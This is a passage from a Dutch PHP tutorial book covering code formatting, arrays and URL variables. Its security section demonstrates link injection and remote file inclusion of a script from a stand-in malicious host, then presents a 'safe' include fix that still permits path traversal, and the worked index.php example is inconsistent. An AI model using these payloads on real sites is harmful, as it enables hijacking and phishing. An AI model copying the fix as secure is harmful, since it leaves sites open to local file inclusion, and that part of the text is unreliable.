    if ($wachtwoordlengte >= 8) {
        echo 'De lengte van dit wachtwoord is voldoende.';
    }
    else {
        echo 'Het is verstandig om een iets langer wachtwoord te kiezen.';
    }
}
else {
    echo 'Dit wachtwoord is te kort. ';
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetze
lfde achter elkaar te zetten. ';

    $dubbelwachtwoord = $wachtwoord . $wachtwoord;

    echo 'Bijvoorbeeld: '.$dubbelwachtwoord;
}
```

Commentaar

Behalve deze opmaak is het verstandig om commentaar te gebruiken om te beschrijven wat de code doet. Handig als iemand anders gecompliceerde code moet begrijpen of als eigen code na maanden verstoffen weer eens opgepakt wordt.

```
// geef wachtwoord op
$wachtwoord = 'ASDY%$SSVGSW';
// bepaal wachtwoordlengte
$wachtwoordlengte = strlen($wachtwoord);

//controleer wachtwoordlengte
if ($wachtwoordlengte >= 6) {
    // als wachtwoord minstens 6 tekens:
    // controleer wachtwoordlengte
    if ($wachtwoordlengte >= 8) {
        // als wachtwoord minstens 8 tekens:
        echo 'De lengte van dit wachtwoord is voldoende.';
    }
    else {
        // als wachtwoord minder dan 8 tekens (maar nog steeds 6 of meer)
        echo'Het is verstandig om een iets langer wachtwoord te kiezen.';
    }
}
else {
    // als wachtwoord korter dan 6 tekens
    echo'Dit wachtwoord is te kort. ';
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetze
lfde achter elkaar te zetten. ';

    // plaats wachtwoord twee keer achter elkaar
    $dubbelwachtwoord = $wachtwoord . $wachtwoord;

    echo 'Bijvoorbeeld: '.$dubbelwachtwoord;
}
```

In geval van een `if`/`else` structuur wordt het algemene doel van de hele structuur voor de eerste if geplaatst. Het doel van specifieke onderdelen van de structuur wordt in het betreffende onderdeel geplaatst. Hieronder staat dit principe nogmaals verduidelijkt:

```
// algemene beschrijving if/else structuur
if (...) {
    // specifieke omschrijving if-gedeelte
}
else {
    // specifieke omschrijving else-gedeelte
}
```

Slotopmerking

Soms komt het voor dat een regel langer is dan in wat in de breedte van het beeldscherm past, zoals ook het geval is bij onderstaand gedeelte uit het voorbeeldscript:

```
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetze
lfde achter elkaar te zetten. ';
```

Een oplossing hiervoor zou kunnen zijn om de regel over meerdere regels te splitsen in plaats van door te laten lopen:

```
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer '.
         'hetzelfde achter elkaar te zetten. ';
```

Dit ziet er direct een stuk beter uit, maar bij iemand met een kleiner scherm gaat het opnieuw mis:

```
    echo 'Het wachtwoord kan verlengd
 worden door eventueel twee keer '.

'hetzelfde achter elkaar te zetten. '
;
```

Een alternatieve oplossing is om de zogeheten *word wrap* in de PHP-editor uit te schakelen. Alles wat op één regel staat blijft nu op een regel staan. Het deel wat aan de rechterkant wegvalt kan nu door middel van horizontaal scrollen bereikt worden:

```
    echo 'Het wachtwoord kan verlengd worden door eventueel twee keer hetze

<-[[[[[[[[[[]]]]]]]]]]----------------------------------------------------->
```

De laatste mogelijkheid is om verder niks van dit fenomeen aan te trekken. In dit boek is expliciet hiervoor gekozen. Het laten wegvallen van een gedeelte is voor een boek uiteraard geen goed idee. Het splitsen over meerdere regels maakt voorbeelden onnodig ingewikkeld. Daarnaast kunnen lezers in het bezit van de digitale versie van dit boek de voorbeelden eenvoudig kopiëren zonder dat de regelsplitsing op een voor hen op een onlogische plek komt te staan.

Zelftest

1. Waarom is een correcte code opmaak belangrijk?

a) Het verbetert de leesbaarheid van de code.
b) PHP kan de code hierdoor beter begrijpen.
c) Het is niet belangrijk, want het maakt bestanden onnodig veel groter.
d) Er hoeft dan niet gescrolled te worden.

2. Tabs worden gebruikt bij…

a) …opsommingen.
b) …`if`/`else` constructies.
c) …`echo`'s.
d) …logische operatoren.

3. Commentaar wordt gebruikt om…

a) …de leesbaarheid van de code te verbeteren.
b) …een instructie over meerdere regels te splitsen.
c) …de begrijpbaarheid van de code te verbeteren.
d) …aan te geven welk codegedeelte bij een `if` hoort.

Oefening: code opmaak toepassen

Gegeven zijn twee PHP-code fragmenten:

```
<?php
if(strlen($wachtwoord)==0){echo'Er is geen wachtwoord ingevoerd.';echo'<br
/>';echo'Probeer het nogmaals.';}elseif($wachtwoord=='&^DEGDW#$'){echo'Welk
om in de beveiligde omgeving van deze website.';}else{echo'Het ingevoerde w
achtwoord is fout.';if($tweedepoging==TRUE){echo'Probeer het over een uur n
ogmaals.';}else{echo'Probeer nogmaals.';}$tweedepoging=TRUE;} ?>
```

```
<?php
if($a==$b){echo'a is gelijk aan b';}else{if($a==$c){echo'a is gelijk aan b'
}else{if($a==$d){echo'a is gelijk aan c';}else{if($a==$e){echo'a is gelijk
aan d';}else{if($a==$f){echo'a is gelijk aan e';}else{if($a==$g){echo'a is
gelijk aan f';}else{if($a==$h){echo'a is gelijk aan g';}else{echo'a nergens
 gelijk aan';}}}}}}} ?>
```

Opdracht

Verbeter de leesbaarheid van deze PHP-code fragmenten door code opmaak toe te passen.

6 Array's

Array is in het Nederlands het beste te vertalen als *rij* of *lijst*. Een array is een speciaal soort variabele. Daar waar een normale variabele precies één waarde kan bevatten, kan een array oneindig veel waarden bevatten. Arrays worden veelvuldig gebruikt in combinatie met lussen (HOOFDSTUK) en databases.

Op dit moment is er nog geen echte toepassing voor de array, maar het is wel belangrijk om te begrijpen wat een array is en hoe deze in elkaar zit, aangezien in de komende hoofdstukken een aantal door PHP gegenereerde arrays behandeld zullen worden.

Theorie

Sleutels en Waarden

Zoals vermeld kan een array meerdere waarden bevatten. Iedere waarde is gekoppeld aan een voor de array unieke *sleutel*. Deze sleutels worden gebruikt om een specifieke waarde uit de array af te kunnen lezen of te kunnen bewerken.

Een sleutel kan een *integer* of een *string* zijn, en mag zelf worden gekozen. Indien een waarde aan een array wordt toegevoegd zonder hier een sleutel bij op te geven, dan zal PHP automatisch de eerste vrije integer als sleutel toekennen.

Indien dus een array zonder specifieke sleutelwaarden gemaakt wordt, zal PHP de waarden automatisch nummeren. Belangrijk om hierbij in de gaten te houden is dat PHP in dit geval bij het getal nul zal beginnen te nummeren. De eerste waarde in de array heeft dus als sleutel het getal 0.

Hoe dit nu precies zit met die sleutels en waarden zal duidelijk worden in de volgende paragraaf.

Arrays met automatische sleutelnummering

Array aanmaken

Voor het maken van een array kan de functie `array()` gebruikt worden.

array **array** ([mixed *$...*])

Het resultaat van de functie `array()` is uiteraard een variabele van het type array (zie ook tabel 1, hoofdstuk 0). Als parameter wordt een komma-gescheiden lijst van waarden die aan de array worden toegevoegd verwacht.

Wordt de parameter weggelaten, dan wordt er een lege array aangemaakt.

Indien een array *zonder* sleutelwaarden wordt gemaakt, dan volstaat een lijst met waarden:

```
$naam_van_array = array('waarde 1', 'waarde 2', 'waarde 3', '...');
```

```
$fruit = array('appel', 'banaan', 'citroen');
```

PHP zal in deze gevallen de sleutels automatisch nummeren, zoals vermeld beginnend bij 0. In het fruit-voorbeeld krijgt *appel* sleutel *0*, *banaan* sleutel *1* en *citroen* krijgt sleutel nummer *2*. Het laatste sleutelnummer is dus één lager dan het aantal waarden in de array.

Waarden uitlezen

Om een waarde uit een array uit te kunnen lezen moet de sleutel worden gebruikt. Het uitlezen van een array gebeurt door de sleutel tussen rechte haken achter de variabele-naam van de array te plaatsen:

```
$naam_van_array[sleutelnummer];
```

```
echo $fruit[1];
```

De `echo` haalt in dit geval de *banaan* op uit de *fruit*-lijst.

Waarden wijzigen

Om een waarde in een array te wijzingen wordt eveneens de sleutel gebruikt. Hiermee kan de positie in de array eenvoudig gelijk worden gesteld aan een andere waarde:

```
$naam_van_array[sleutelnummer] = 'nieuwe waarde';
```

```
$fruit[0] = 'aardbei';
```

In het fruit-voorbeeld is hiermee *appel* vervangen door *aardbei*.

Array uitbreiden

De notatie met haken kan ook gebruikt worden om een waarde aan een array toe te voegen. Aangezien dit tevens verreweg de meest eenvoudige manier is om een waarde aan een array toe te voegen, is dit tevens de enige manier om een waarde aan een array toe te voegen die in dit boek behandeld zal worden.

Het toevoegen van een waarde aan een automatisch genummerde array is vrijwel gelijk aan het wijzigen van een bestaande waarde. Het enige verschil is dat de sleutel nu wordt weggelaten. Door het weglaten van de sleutel weet PHP dat er een nieuwe waarde toegevoegd moet worden. De nieuwe waarde krijgt het eerstvolgende vrije sleutelnummer als sleutel:

```
$naam_van_array[] = 'toe te voegen waarde';
```

```
$fruit[] = 'druif';
```

In het fruit-voorbeeld krijgt *druif* hier sleutelnummer *3*.

Array aanmaken: alternatieve methode

Deze laatste methode kan ook gebruikt worden om volledig nieuwe array's te maken, zonder gebruik te hoeven maken van de functie `array()`. De fruit-array uit het voorbeeld kan ook als volgt worden gemaakt:

```
$fruit[] = 'aardbei';
$fruit[] = 'banaan';
$fruit[] = 'citroen';
$fruit[] = 'druif';
```

Arrays met zelfgekozen sleutels

Array aanmaken

Ook voor array's met zelfgekozen sleutels kan de functie `array()` gebruikt worden.

array **array** ([mixed *$...*])

Ook in dit geval wordt een lijst met kommagescheiden gegevens verwacht, maar nu volstaat het niet meer om alleen de waarden die in de array gezet moeten worden op te geven. Nu moeten ook de sleutels worden gespecificeerd. Iedere waarde die in de array wordt ingevoegd krijgt nu de volgende vorm:

mixed *$sleutel* => mixed *$waarde*

In PHP-code ziet dat er als volgt uit:

```
$naam_van_array = array(
    'sleutel1' => 'waarde 1',
    'sleutel2' => 'waarde 2',
    'sleutel3' => 'waarde 3',
    '...' => '...');
```

```
$gebruikers = array(
    'jantje' => 'FHASSVAE',
    'pietje' => 'DSFHEASD',
    'keesje' => 'SJSAFSAE');
```

Nu zijn de sleutels dus niet automatisch genummerd, maar worden de waarden uit de 'eerste kolom' als sleutels gebruikt.

Waarden uitlezen

Het uitlezen van een array met zelfgekozen sleutels werkt hetzelfde als bij een automatisch genummerde array. Verschil is nu dat geen sleutelnummer maar de toegekende sleutelnaam moet worden gebruikt:

```
$naam_van_array['sleutel'];
```

```
echo $gebruikers['keesje'];
```

De `echo` geeft in dit geval het wachtwoord van gebruiker *keesje* weer.

Waarden wijzigen

Het wijzigen van een waarde in een array is ook nu weer vergelijkbaar met het uitlezen ervan:

```
$naam_van_array['sleutel'] = 'nieuwe waarde';
```

```
$gebruikers['pietje'] = 'SAFHAEGS';
```

In het gebruikers-voorbeeld wordt hiermee het wachtwoord van *pietje* gewijzigd.

Array uitbreiden

Het toevoegen van een waarde aan een array is nu iets anders. De sleutel kan nu immers niet worden weggelaten, want dan zal PHP een automatische nummering toekennen. In dit geval is het uitbreiden van een array hetzelfde als het wijzigen van een waarde: als de sleutel nog niet bestaat, wordt een nieuwe waarde toegevoegd en als de sleutel wel al bestaat wordt de bestaande waarde gewijzigd:

```
$naam_van_array['sleutel'] = 'toe te voegen waarde';
```

```
$gebruikers['fritsje'] = 'AFGAEHSE';
```

Hiermee wordt de gebruiker *fritsje* met bijbehorend wachtwoord aan de gebruikers-array toegevoegd.

Array aanmaken: alternatieve methode

De alternatieve methode voor het aanmaken van een array kan ook nu weer gebruikt worden:

```
$gebruikers['jantje'] = 'FHASSVAE';
$gebruikers['pietje'] = 'SAFHAEGS';
$gebruikers['keesje'] = 'SJSAFSAE';
$gebruikers['fritsje'] = 'AFGAEHSE';
```

Multidimensionale Array's

Een *multidimensionale array* kan gezien worden als "een array in een array". De regels voor dit soort array's zijn hetzelfde als voor enkelvoudige array's. Ook nu kunnen automatisch genummerde en zelf gekozen sleutels gecombineerd worden.

Het werken met multidimensionale array's is niet ingewikkelder dan het werken met enkelvoudige arrays: op de plek waar in een enkelvoudige array een waarde komt, komt nu een andere array te staan.

Array aanmaken

Hieronder zijn drie voorbeelden opgenomen waarin een multidimensionale array aangemaakt wordt. Alle voorbeelden leiden tot hetzelfde resultaat, maar laten zien op welke verschillende manieren met multidimensionale array's gewerkt kan worden.

Met `array()`:

```
$eten = array(
    'fruit' => array('appel', 'banaan', 'citroen'),
    'groente ' => array('asperge', 'broccoli', 'courgette')
);
```

Zonder `array()`:

```
$eten['fruit'][] = 'appel';
$eten['fruit'][] = 'banaan';
$eten['fruit'][] = 'citroen';
$eten['groente'][] = 'asperge';
$eten['groente'][] = 'broccoli';
$eten['groente'][] = 'courgette';
```

Of eventueel eerst gesplitst in twee losse array's om daarna samen te voegen in de array `$eten`:

```
$fruit = array('appel', 'banaan', 'citroen');
$groente = array('asperge', 'broccoli', 'courgette');
$eten = array(
    'fruit' => $fruit,
    'groente' => $groente
);
```

Waarden uitlezen en wijzingen

Het uitlezen van waarden uit een multidimensionale array is niet veel anders dan het uitlezen van een enkelvoudige array. In plaats van één sleutel worden nu meerdere sleutels achter elkaar opgegeven om zo de juiste waarden uit te lezen. Voor het wijzigen van een waarde geldt dit net zo.

Om nu de *banaan* uit de voorbeelden van de vorige paragraaf uit te lezen, gebruiken we:

```
echo $eten['fruit'][1];
```

Meer dan de juiste sleutels in de juiste volgorde zetten is het niet.

Array Functies

In deze paragraaf worden een aantal functies besproken die zo nu en dan van pas komen bij het werken met array's. Er worden op dit moment nog geen praktijkvoorbeelden gegeven van de toepassing van deze functies; deze komen vanzelf verderop in dit boek aan de orde. Deze paragraaf kan dan ook voornamelijk als naslag worden gezien waarbij de belangrijkste array-functies bij elkaar staan.

Waarden tellen

De functie `count()` telt het aantal waarden in een array.

int **count** (array *$array* [, int *$mode* = COUNT_NORMAL])

Als tussen haakjes alleen een array wordt opgegeven (de parameter), dan worden alleen de waarden van het eerste niveau geteld. Verder gaand op het voorbeeld `$eten` met hierin een array groente en een array fruit:

```
echo count($eten);
//geeft 2 als resultaat
```

Als we alle waarden in een multidimensionale array willen tellen, dan geven we het getal 1 als extra parameter mee (de zogenaamde *mode*):

```
echo count($eten, 1);
//geeft 8 als resultaat
```

Controleren of waarde bestaat

Middels de functie `in_array()` kan gecontroleerd worden of een bepaalde waarde in een array aanwezig is.

bool **in_array** (mixed *$needle* , array *$haystack*)

Deze functie zoekt dus naar een *naald* in een *hooiberg* en geeft `TRUE` als de naald gevonden is en `FALSE` als de gezochte waarde niet in de array aanwezig is. `in_array()` kan alleen zoeken in een enkelvoudige array en niet in een meervoudige array:

```
$bestaat = in_array('banaan', $eten);
//geeft $bestaat == FALSE
```

```
$bestaat = in_array('banaan', $eten['fruit']);
//geeft bestaat == TRUE
```

Controleren of sleutel bestaat

Zoals gecontroleerd kan worden of een waarde in een array aanwezig is, kan eveneens gecontroleerd worden of een bepaalde sleutel bestaat. Hiervoor wordt de functie `array_key_exists()` gebruikt.

bool **array_key_exists** (mixed *$key* , array *$search*)

Als *key* wordt de naam van een sleutel gegeven waarnaar gezocht wordt in de array *search*. Als de sleutel wordt gevonden, wordt `TRUE` gegeven en anders `FALSE`.

```
$bestaat = array_key_exists('fruit', $eten);
//geeft $bestaat == TRUE
```

```
$bestaat = array_key_exists('banaan', $eten);
//geeft $bestaat == FALSE
```

Array sorteren

PHP kan de waarden in een array sorteren. De functie `sort()` plaatst de waarden in een array van laag naar hoog. Tijdens dit proces worden alle sleutels verwijderd, waarna nieuwe automatisch genummerde sleutels worden toegevoegd. Gebruik deze functie dus niet op array's waarbij de precieze sleutels van belang zijn!

bool **sort** (array *$array*)

Variabelen verwijderen

Voordat een nieuwe array gemaakt wordt middels de methode met rechte haken, is het verstandig om er voor te zorgen dat deze array ook daadwerkelijk leeg is. Mocht er toevallig nog een array bestaan met dezelfde naam, dan wordt er immers iets toegevoegd in plaats van dat er een geheel nieuwe array gemaakt wordt. De functie `unset()` verwijdert een variabele, en kan dus goed gebruikt worden om er zeker van te zijn dat een array ook echt leeg is.

void **unset** (mixed *$var* [, mixed *$var* [, mixed *$...*]])

De functie accepteert de namen van meerdere variabelen in één keer en geeft geen waarde als resultaat.

```
//stel dat onderstaande array ergens anders in het script is aangemaakt en
als restant is achter gebleven
$fruit = array('appel', 'banaan', 'citroen');

//nu moet er een nieuwe array $fruit gemaakt worden, met andere waarden
$fruit[] = 'peer';
$fruit[] = 'kiwi';
$fruit[] = 'ananas';

//In plaats van een nieuwe array, is de oude array uitgebreid en bestaat nu
 uit de waarden appel, banaan, citroen, peer, kiwi en ananas.
//unset() kan er voor zorgen dat de rotte appels, bananen en citroenen eers
t verwijderd worden
unset($fruit);

//nu een nieuwe array maken geeft het resultaat dat we verwachten: een arra
y $fruit met 3 waarden
$fruit[] = 'peer';
$fruit[] = 'kiwi';
$fruit[] = 'ananas';
```

Zelftest

1. Een array is…

a) …een variabele met meer dan één waarde.
b) …een database.
c) …een sleutel met bijbehorende waarde.
d) …een sleutelvariabele.

2. Met welk getal begint de automatische sleutelnummering? Kies het meest correcte antwoord.

a) 0
b) 1
c) Met het eerstvolgende vrije sleutelnummer.

3. Indien een waarde uit een array wordt uitgelezen, wordt de sleutel geschreven tussen?

a) Gekromde haken ( )
b) Rechte haken [ ]
c) Accolades { }
d) Puntige haken < >

4. Een multidimensionale array is?

a) Een array met zelf gekozen sleutels.
b) Een array in meerdere opzichten.
c) Een array met automatisch genummerde sleutels.
d) Een array in een array.

5. Waarom geeft het tweede voorbeeld in de paragraaf over `array_key_exists()` het resultaat `FALSE`?

a) `$fruit` is een multidimensionale array waaruit de sleutels niet kunnen worden gelezen.
b) *banaan* is geen sleutel.
c) De array is niet gesorteerd en dan kan `array_key_exists()` niet gebruikt worden.
d) Het voorbeeld geeft eigenlijk `TRUE`. Dat er staat dat `FALSE` als resultaat wordt gegeven is een fout in het boek.

7 URL-Variabelen

Een onderdeel van de http-specificatie is de mogelijkheid om variabelen via de URL aan een script door te geven. PHP pikt deze URL-variabelen op en stopt ze in een array: `$_GET`.

Theorie

URL-variabelen kunnen gebruikt worden om variabelen van het ene PHP script naar het andere PHP script door te geven. We gaan kijken hoe de URL er met variabelen uit ziet, hoe we deze variabelen met behulp van PHP kunnen lezen en hoe we de variabelen in de URL krijgen.

Variabelen in de URL

Een URL met variabelen is te herkennen aan het vraagteken (?) direct na de verwijzing naar het daadwerkelijke script. Achter dit vraagteken staat vervolgens de naam van de variabele, een is-teken (=) en de waarde van de variabele:

http://sub.domain.tld/script.php**?name=value**

Er kan meer dan één variabele via de URL worden doorgegeven. In dat geval worden de verschillende variabelen gescheiden door een ampersand (&):

http://sub.domain.tld/script.php**?name1=value1&name2=value2&name3=value3**

Op deze manier kunnen dus externe variabelen aan een script worden doorgegeven.

URL-variabelen uitlezen

In de inleiding is hij al gevallen: de `$_GET` array. PHP slaat alle URL-variabelen automatisch in deze array op en dit is dan ook de array die in een PHP-script gebruikt moet worden om de variabelen uit te lezen.

In `$_GET` is de naam die aan een URL-variabele is gegeven gebruikt als de sleutel voor de betreffende waarde. De namen uit de URL zijn dus één op één overgezet naar de sleutels van `$_GET`.

Laten we dat met een voorbeeld bekijken. Stel de URL http://books.jaspervries.nl/index.php**?tab=phpboek&pag=download**. Intern zal PHP dan het volgende doen om de `$_GET` array toe te wijzen:

```
$_GET['tab'] = 'phpboek';
$_GET['pag'] = 'download';
```

In het script http://books.jaspervries.nl/index.php zijn `$_GET['tab']` en `$_GET['pag']` dan beschikbaar om gebruikt te worden. De toewijzing van `$_GET` gebeurt volledig automatisch, dus daar hoeft verder geen actie voor ondernomen te worden.

URL-variabelen toekennen

De enige manier om variabelen aan een URL toe te kennen is door ze direct aan de hyperlink toe te voegen:

```
<a href="script.php?variabele=1&var2=waarde>klik</a>
```

```
<a href="index.php?page=1>Home</a>
```

Dit kan een statische hyperlink zijn zoals hierboven, maar PHP kan ook gebruikt worden om een URL dynamisch samen te stellen:

```
<a href="index.php?page=<?php echo $i; ?>"><?php echo $pages[$i]; ?></a>
```

Of volledig in PHP:

```
echo '<a href="index.php?page=';
echo $i;
echo '">';
echo $pages[$i];
echo '</a>';
```

Veiligheid

Het is onverstandig om URL-variabelen zomaar direct in een script te gebruiken. Ze kunnen namelijk een deur voor kwaadaardige code openen in slecht geschreven scripts. Waarom het belangrijk is goed op te passen met URL-variabelen wordt aan de hand van twee voorbeelden toegelicht.

In deze voorbeelden wordt geïllustreerd waarom `$_GET` variabelen niet zomaar te vertrouwen zijn en wat er gedaan kan worden om misbruik tegen te gaan.

Voorbeeld 1

Beschouw onderstaand codefragment:

```
<a href="index.php?page=<?php echo $_GET['page']; ?>">Klik</a>
```

Als dit script wordt aangeroepen met http://www.domain.tld/home.php?page=contact is er niets aan de hand:

```
<a href="index.php?page=contact">Klik</a>
```

Wordt het script echter aangeroepen met http://www.domain.tld/home.php?page=%22%3E%3C%2Fa%3E%3Ca+href%3D%22http%3A%2F%2Fwww.spammers.net%2Fspam dan zal het volgende het resultaat zijn:

```
<a href="index.php?page="></a>
<a href="http://www.spammers.net/spam">Klik</a>
```

Zoals %20 in een URL gelijk staat aan een spatie, zijn deze %-codes er ook voor allerlei andere speciale tekens. Op die manier kunnen er dus kwaadaardige links aan een website worden toegevoegd zonder dat de eigenaar van de website dit in de gaten heeft.

Dit soort code-injecties kunnen eenvoudig worden ondervangen door gebruik te maken van de functie `htmlspecialchars()`.

string **htmlspecialchars** (string *$string*)

Deze functie vertaalt typische tekens in HTML naar HTML-entiteiten (wijzigt " in `&quot;`, > in `>` etc.) en maakt hiermee de kwaadaardige code in een klap onschadelijk. De link werkt dan nog steeds niet hoe hij zou moeten werken, maar een niet-werkende link is vele malen beter dan een link naar een kwaadaardige website!

Als we `htmlspecialchars()` toevoegen aan ons oorspronkelijke codefragment gaat het al een heel stuk beter:

```
<a href="index.php?page=<?php echo htmlspecialchars($_GET['page']); ?>">
Klik</a>
```

Wordt nu dit fragment aangeroepen via http://www.domain.tld/home.php?page=%22%3E%3C%2Fa%3E%3Ca+href%3D%22http%3A%2F%2Fwww.spammers.net%2Fspam, dan zal het volgende het resultaat zijn:

```
<a href="index.php?page=&quot;&gt;&lt;/a&gt;&lt;a
href=&quot;http://www.spammers.net/kijkmijnspam">Klik</a>
```

Het resultaat is nu dus een niet-werkende link. Voor de gemiddelde website is dit een prima oplossing. Kwaadaardige links worden geneutraliseerd zonder dat allerlei ingewikkelde controle-structuren gebruikt moeten worden.

Voorbeeld 2

Beschouw onderstaand codefragment:

```
include($_GET['page']);
```

Als dit script wordt aangeroepen met http://www.domain.tld/home.php?page=contact.php is er niets aan de hand. De inhoud van de contactpagina wordt in het huidige script opgenomen:

```
include('contact.php');
```

Wordt het script echter aangeroepen met http://www.domain.tld/home.php?page=http%3A%2F%2Fwww.kwaadaardigecode.net%2Fscript.php dan zal het volgende het resultaat zijn:

```
include('http://www.kwaadaardigecode.net/script.php');
```

Hiermee wordt er dus kwaadaardige PHP-code vanaf een andere website in het script ingevoegd. Zo kan bijvoorbeeld een nep login-scherm in de website worden toegevoegd. De website is daarmee gekaapt en bezoekers zijn blootgesteld aan phishing aanvallen.

Behalve kwaadaardige HTML-code kan ook kwaadaardige PHP-code uitgevoerd worden. Als het kwaadaardige script PHP-code bevat, zal PHP dit doodleuk uitvoeren. In het gunstige geval wordt dan alleen de website gewist, maar in minder fortuinlijke gevallen worden wachtwoorden, emailadressen en andere gevoelige informatie buit gemaakt.

Het is dus verstandig om eerst te controleren of het een eigen script of een extern (en dus mogelijk kwaadaardig) script betreft. Hiervoor kan de functie `file_exists()` gebruikt worden:

bool **file_exists** (string *$filename*)

Deze functie geeft `TRUE` als het bestand gegeven door `$filename` op de lokale server bestaat en geeft `FALSE` als het bestand niet bestaat. Deze functie is niet in staat om te controleren of externe bestanden bestaan, dus zal voor kwaadaardige externe bestanden ook altijd `FALSE` retourneren.

Hiermee kan het oorspronkelijke codefragment worden omgevormd tot een stuk code dat voorkomt dat kwaadaardige code wordt opgenomen:

```
if (file_exists($_GET['page'])) {
    include($_GET['page']);
}
else {
    echo 'Het opgevraagde bestand bestaat niet, of is een extern bestand';
}
```

Met deze simpele aanpassing is het script veilig voor code-injecties. Het kan echter nog een stukje veiliger, waarbij tevens wordt voorkomen dat de verkeerde lokale bestanden geïnclude kunnen worden.

Deze veiligere aanpak vereist dat alle te includen bestanden in één specifieke map staan, bijvoorbeeld de map */includes* en dat alle te includen bestanden dezelfde bestandsextensie hebben, bijvoorbeeld *.inc.php*.

Als aan die voorwaarden is voldaan, hoeft de bestandsextensie niet meer via `$_GET` doorgegeven te worden, waardoor alleen dus nog bijvoorbeeld http://www.domain.tld/home.php?page=contact over blijft. Bijbehorend script ziet er dan als volgt uit:

```
$file = 'includes/'.$_GET['file'].'.inc.php';
if (file_exists($file)) {
    include($file);
}
else {
    echo 'Het opgevraagde bestand bestaat niet.';
}
```

Allereerst wordt de juiste map en de juiste bestandsextensie aan `$_GET['file']` toegevoegd. Vervolgens wordt gekeken of dat bestand op de lokale server bestaat (in dit voorbeeld wordt dus gekeken of *includes/contact.inc.php* bestaat). Als dat zo is, wordt het bestand geïnclude, zo niet dan volgt er een foutmelding.

Praktijkvoorbeeld: index.php?page=

In dit voorbeeld gaan we verder op het voorbeeld uit paragraaf 0. Ditmaal gaan we het voorbeeld aanpassen zodat er maar één index.php bestand over blijft. Na deze aanpassing is niet alleen het menu in een afzonderlijk bestand geplaatst, maar is in feite de opmaak en de inhoud van de website losgekoppeld. Eén bestand aanpassen maakt het mogelijk de hele website een andere indeling te geven.

Als uitgangspunt hebben we een website met de volgende structuur:

```
|- contact.php
|- fotos.php
|- index.php
|- menu.inc.php
|- nieuws.php
```

Het bestand *menu.inc.php* heeft de volgende inhoud (let op, iets gewijzigd ten opzichte van paragraaf 0):

```
      <ul>
            <li><a href="index.php">Home</a></li>
            <li><a href="nieuws.php">Nieuws</a></li>
            <li><a href="fotos.php">Foto's</a></li>
            <li><a href="contact.php">Contact</a></li>
      </ul>
```

De overige PHP-bestanden hebben allen onderstaande opbouw. Op de plek van het commentaar *<!-- Inhoud van de pagina -->* staat in ieder bestand de daadwerkelijke inhoud van de pagina.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <link href="style.css" type="text/css" />
      <title>Mijn Website</title>
</head>
<body>
      <div id="menu">
            <?php include('menu.inc.php'); ?>
      </div>

      <div id="content">
            <!-- Inhoud van de pagina -->
      </div>

</body>
</html>
```

De eerste stap is nu om de daadwerkelijke inhoud uit de PHP-bestanden te verwijderen en in nieuwe bestanden op te slaan. Deze bestanden bevatten dus alleen inhoud, geen zaken zoals <head> en <body> tags of -tags die de opmaak van de website regelen. De structuur van de website wordt hiermee als volgt:

```
|- content
|  |- contact.inc.php
|  |- fotos.inc.php
|  |- index.inc.php
|  |- nieuws.inc.php
|- contact.php
|- fotos.php
|- index.php
|- menu.inc.php
|- nieuws.php
```

De inhoud van *contact.php*, *fotos.php*, *index.php* en *nieuws.php* is nu van alle vier bestanden exact hetzelfde. Drie van de vier bestanden kunnen nu verwijderd worden, zodat van de vier alleen nog *index.php* over blijft:

```
|- content
|  |- contact.inc.php
|  |- fotos.inc.php
|  |- index.inc.php
|  |- nieuws.inc.php
|- index.php
|- menu.inc.php
```

We gaan nu `$_GET` gebruiken om te bepalen welk content-bestand geïnclude moet worden. Daartoe wordt eerst het menu aangepast:

```
      <ul>
            <li><a href="index.php?page=index">Home</a></li>
            <li><a href="index.php?page=nieuws">Nieuws</a></li>
            <li><a href="index.php?page=fotos">Foto's</a></li>
            <li><a href="index.php?page=contact">Contact</a></li>
      </ul>
```

Voor alle menu-items wordt nu naar index.php verwezen. De URL-variabele *page* bepaalt welke pagina daadwerkelijk wordt opgevraagd. Nu moet *index.php* nog worden aangepast om daadwerkelijk de juiste inhoud in te voegen. Dit kunnen we doen volgens de analogie van Voorbeeld 2 uit de paragraaf Veiligheid:

```
$file = 'includes/'.$_GET['file'].'.inc.php';
if (file_exists($file)) {
      include($file);
}
else {
      echo 'De opgevraagde pagina bestaat niet.';
}
```

Nu gaat het alleen nog mis op het moment dat de hoofdpagina zonder URL-variabele opgevraagd wordt. Logischerwijs zou de hoofdpagina getoond moeten worden, maar omdat de URL-variabele niet bestaat gaat de bestandscontrole in het script ook mis en wordt de foutmelding weergegeven.

Dit kan opgelost worden door de foutmelding te vervangen door `include('includes/index.inc.php');` maar we willen de foutmelding toch graag behouden als het bestand niet bestaat. Als met deze vervanging het bestand niet bestaat wordt steeds de hoofdpagina weergegeven; niet erg gebruiksvriendelijk als de gebruiker een eerlijke fout maakt.

In plaats daarvan passen we het script iets aan. Eerst wordt gekeken of de URL-variabele bestaat en zo nee dan wordt de hoofdpagina weergegeven. Bestaat de URL-variabele wel, dan volgt de rest van het reeds bekende script.

Om te controleren of de URL-variabele bestaat kan de functie `isset()` gebruikt worden:

bool **isset** (mixed *$var* [, mixed *$var* [, *$...*]])

Deze functie controleert of een of meerdere variabelen bestaan en is in dit geval dus geschikt om te zien of er een URL-variabele bestaat. Als alle opgegeven variabelen bestaan wordt `TRUE` gegeven. Als de variabele niet bestaat wordt `FALSE` gegeven.

Als we deze functie toevoegen aan het voorgaande, wordt de volledige inhoud van *index.php* hiermee als volgt:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <link href="style.css" type="text/css" />
    <title>Mijn Website</title>
</head>
<body>
    <div id="menu">
        <?php include('menu.inc.php'); ?>
    </div>

    <div id="content">
        if (!isset($_GET['file'])) {
            //url-variabele bestaat niet, geef beginpagina
            include('includes/index.inc.php');
        }
        else {
           //url-variabele bestaat wel, definieer bestand
            $file = 'includes/'.$_GET['file'].'.inc.php';
            if (file_exists($file)) {
               //pagina bestaat, laat zien
                include($file);
            }
